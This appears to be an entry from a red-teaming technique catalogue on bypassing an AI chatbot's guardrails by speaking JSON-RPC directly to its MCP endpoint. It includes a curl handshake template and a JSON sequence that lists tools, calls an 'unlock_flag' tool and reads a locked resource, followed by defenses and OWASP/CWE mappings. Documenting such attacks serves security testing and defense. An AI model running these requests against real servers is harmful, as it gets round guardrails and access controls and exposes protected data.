High Protocol / MCP

MCP Direct Access (Bypass the Chatbot)

If a target exposes an MCP endpoint, become the client and speak JSON-RPC directly - skipping the chat persona and its guardrails to hit resources and tools raw.

Privilege EscalationInternal / SSRF Access

LLM06ASI02ASI03T2T3CWE-441

Tells spot it before you commit

» The target exposes an MCP endpoint (e.g. /mcp) separate from the chat UI.
» A "locked" resource guarded only by a no-arg, no-authz tool (fake access control).
» Unlock/state changes appear global and persistent across clients.

Method

Handshake - send initialize, capture the Mcp-Session-Id, send notifications/initialized.
Enumerate resources/list, resources/templates/list, tools/list, prompts/list - look for unlock_*, get_*, admin_*.
Call the state-changing tool, then re-read the resource - missing authz means the guard was never real.

Payloads templates - adapt to authorized scope

Initialize (Streamable HTTP, JSON-RPC 2.0) bash

curl -sN https://TARGET/mcp \
  -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' \
  -d '{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2025-06-18","capabilities":{},"clientInfo":{"name":"aibins","version":"0.1"}}}'
# grab Mcp-Session-Id from the response headers, reuse it on every later call

Enumerate then read a locked resource json

{"jsonrpc":"2.0","id":2,"method":"tools/list"}
{"jsonrpc":"2.0","id":3,"method":"resources/list"}
{"jsonrpc":"2.0","id":4,"method":"tools/call","params":{"name":"unlock_flag","arguments":{}}}
{"jsonrpc":"2.0","id":5,"method":"resources/read","params":{"uri":"resource://flag"}}

Why it works

Anything on an MCP server is reachable by any client that completes the handshake. A "lock" implemented as a no-arg tool is not authorization, and unlock state is often global - so bypassing the chatbot removes the only guardrails that existed.

Impact

Direct access to protected resources and privileged tools, unlock state that persists for all users, and a much larger surface than the chat exposes.

Defenses

Enforce per-caller authorization on every MCP tool/resource; never put protected data in a resource.
Make privileged actions require verified identity and non-global, per-session state.
Gateway/proxy untrusted MCP servers; log and rate-limit direct MCP access.

Mappings

OWASP LLM

LLM06 - Excessive Agency

OWASP ASI

ASI02 - Tool MisuseASI03 - Identity & Privilege Abuse

Agentic Threats

T2 - Tool MisuseT3 - Privilege Compromise

CWE

CWE-441 - Unintended Proxy or Intermediary (Confused Deputy)